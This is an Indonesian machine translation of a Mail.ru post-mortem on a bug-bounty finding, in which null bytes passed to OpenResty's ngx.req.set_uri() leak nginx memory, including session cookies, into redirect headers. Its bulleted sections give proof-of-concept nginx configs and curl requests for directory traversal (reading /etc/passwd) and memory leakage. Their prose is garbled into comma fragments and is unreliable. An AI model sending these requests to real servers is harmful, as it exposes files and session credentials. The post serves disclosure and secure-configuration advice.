Tentang satu kerentanan di ...



Setahun yang lalu, 21 Maret 2019, dalam program karunia bug Mail.ru di HackerOne, muncul laporan bug yang sangat bagus dari maxarr . Saat menyematkan byte nol (ASCII 0) dalam parameter POST dari salah satu permintaan API webmail yang mengembalikan pengalihan HTTP, potongan memori yang tidak diinisialisasi terlihat dalam data pengalihan, di mana fragmen dari parameter GET dan header permintaan lainnya untuk server yang sama.

Ini adalah kerentanan kritis karena permintaan termasuk cookie sesi. Beberapa jam kemudian, perbaikan sementara dibuat, yang memfilter byte nol (ternyata kemudian, ini tidak cukup, karena ada kemungkinan menyuntikkan CRLF / ASCII 13, 10, yang memungkinkan Anda untuk memanipulasi header dan data respon HTTP, ini kurang penting, tetapi masih tidak menyenangkan). Pada saat yang sama, masalahnya dirujuk ke analis dan pengembang keamanan untuk menemukan dan menghilangkan penyebab bug.

Mail.ru mail adalah aplikasi yang sangat rumit, sejumlah besar komponen front-end / back-end yang berbeda, keduanya open source (terima kasih banyak kepada semua pengembang perangkat lunak gratis) dan pengembangan kami sendiri, dapat berpartisipasi dalam respons. Dimungkinkan untuk mengecualikan semua komponen kecuali nginx dan openresty dan untuk melokalisasi masalah sebelum memanggil ngx.req.set_uri ()dalam skrip OpenResty, yang tidak berperilaku seperti yang diharapkan (menempelkan byte nol atau umpan baris melalui parameter GET dari menulis ulang ke ngx_http_rewrite_module, yang, menurut dokumentasi, digunakan dan, tampaknya, harus bekerja dengan cara yang sama). Kemungkinan konsekuensi dihilangkan, pemfilteran paling ketat ditambahkan, dan diverifikasi bahwa pemfilteran menghilangkan semua vektor yang mungkin. Tetapi mekanisme yang menyebabkan kebocoran isi memori tetap menjadi misteri. Sebulan kemudian, laporan bug ditutup sebagai yang diotorisasi, dan analisis penyebab bug ditunda hingga waktu yang lebih baik.

OpenResty adalah plugin yang sangat populer yang memungkinkan Anda untuk menulis skrip Lua di dalam nginx, dan digunakan di beberapa proyek Mail.ru, sehingga masalahnya tidak dianggap terselesaikan. Dan setelah beberapa waktu, mereka tetap kembali padanya untuk memahami penyebab sebenarnya, konsekuensi yang mungkin terjadi, dan membuat rekomendasi untuk pengembang. Kode sumber digali oleh Denis Denisov dan Nikolai Ermishkin . Ternyata:

  • nginx rewrite directory traversal ( SSRF) , , Nginx Amplify Gixy (, , ). OpenResty , .

    :

    location ~ /rewrite {
        rewrite ^.*$ $arg_x;
    }
    
    location / {
        root html;
        index index.html index.htm;
    }




    curl localhost:8337/rewrite?x=/../../../../../../../etc/passwd
    root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    bin:x:2:2:bin:/bin:/usr/sbin/nologin
    ...


  • nginx , , rewrite . nginx , , , , , . .

    (^@ )
    
    location ~ /memleak {
        rewrite ^.*$ "^@asdfasdfasdfasdfasdfasdfasdfasdfasdfasdfasdasdf";
    }
    
    location / {
        root html;
        index index.html index.htm;
    }



    curl localhost:8337/secret -vv
    ...
    curl localhost:8337/memleak -vv
    ...
    Location: http://localhost:8337/secret
    ...

  • Nginx GET- rewrite GET-. nginx . POST . OpenResty GET POST , POST OpenResty .

    :

    location ~ /memleak {
        rewrite_by_lua_block {
            ngx.req.read_body();
            local args, err = ngx.req.get_post_args();
            ngx.req.set_uri( args["url"], true );
        }
    }
    
    location / {
        root html;
        index index.html index.htm;
    }
    


    :

    curl localhost:8337 -d "url=secret" -vv
    ...
    curl localhost:8337 -d "url=%00asdfasdfasdfasdfasdfasdfasdfasdf" -vv
    ...
    Location: http://localhost:8337/{... secret...}
    ...



Masalahnya dilaporkan ke pengembang nginx dan OpenResty, para pengembang tidak menganggap masalah tersebut sebagai kesalahan keamanan di nginx, karena di nginx sendiri tidak ada cara untuk mengeksploitasi kesalahan melalui injeksi karakter khusus, perbaikan untuk mengungkapkan isi memori diterbitkan pada 16 Desember. Dalam 4 bulan sejak laporan, tidak ada perubahan yang dilakukan untuk OpenResty, meskipun ada pemahaman bahwa versi aman dari fungsi ngx.req.set_uri () diperlukan. Pada 18 Maret 2020, kami menerbitkan informasi, pada 21 Maret, OpenResty merilis versi 1.15.8.3 , yang menambahkan cek URI.

Portswigger menulis Saya mengambil artikel yang bagus dari OpenResty dan Nginx (meskipun komentar bahwa hanya sepotong kecil memori yang diungkapkan tidak benar dan menyesatkan, ini ditentukan oleh panjang baris setelah byte nol dan, tanpa adanya batasan panjang yang jelas, dapat dikontrol oleh penyerang).

Jadi apa kesalahannya dan apa yang harus dilakukan untuk mencegahnya?


Apakah ada kesalahan pada nginx? Ya, itu, karena kebocoran memori adalah kesalahan.

Apakah ada kesalahan di OpenResty? Ya, setidaknya masalah keamanan fungsi yang ditawarkan oleh OpenResty belum diselidiki dan didokumentasikan.

Apakah kesalahan konfigurasi / penggunaan OpenResty telah dibuat? Ya, karena tanpa adanya indikasi eksplisit, asumsi yang tidak diverifikasi dibuat tentang keamanan fungsionalitas yang digunakan.

Manakah dari kesalahan ini yang merupakan kerentanan keamanan hadiah $ 10.000?Bagi kami, ini umumnya tidak penting. Dalam perangkat lunak apa pun, terutama di persimpangan beberapa komponen, terutama yang disediakan oleh berbagai proyek dan pengembang, tidak ada yang bisa menjamin bahwa semua fitur pekerjaan mereka diketahui dan didokumentasikan dan bahwa tidak ada kesalahan. Oleh karena itu, setiap kerentanan keamanan muncul tepat di tempat yang memengaruhi keamanan.

Bagaimanapun, adalah praktik yang baik untuk menormalkan atau membatasi / memfilter data input, yang masuk ke modul / API eksternal, jika tidak ada indikasi eksplisit dan pemahaman yang jelas bahwa ini tidak diperlukan.

Kesalahan


Menurut pengalaman dari artikel sebelumnya , dalam rangka melestarikan kemurnian bahasa:

bug karunia - kompetisi berburu untuk bug
laporan bug - pemberitahuan kesalahan
redirect - redirect
opensorsny - open source
yang dikenal sebagai ralat - bekerja pada bug

All Articles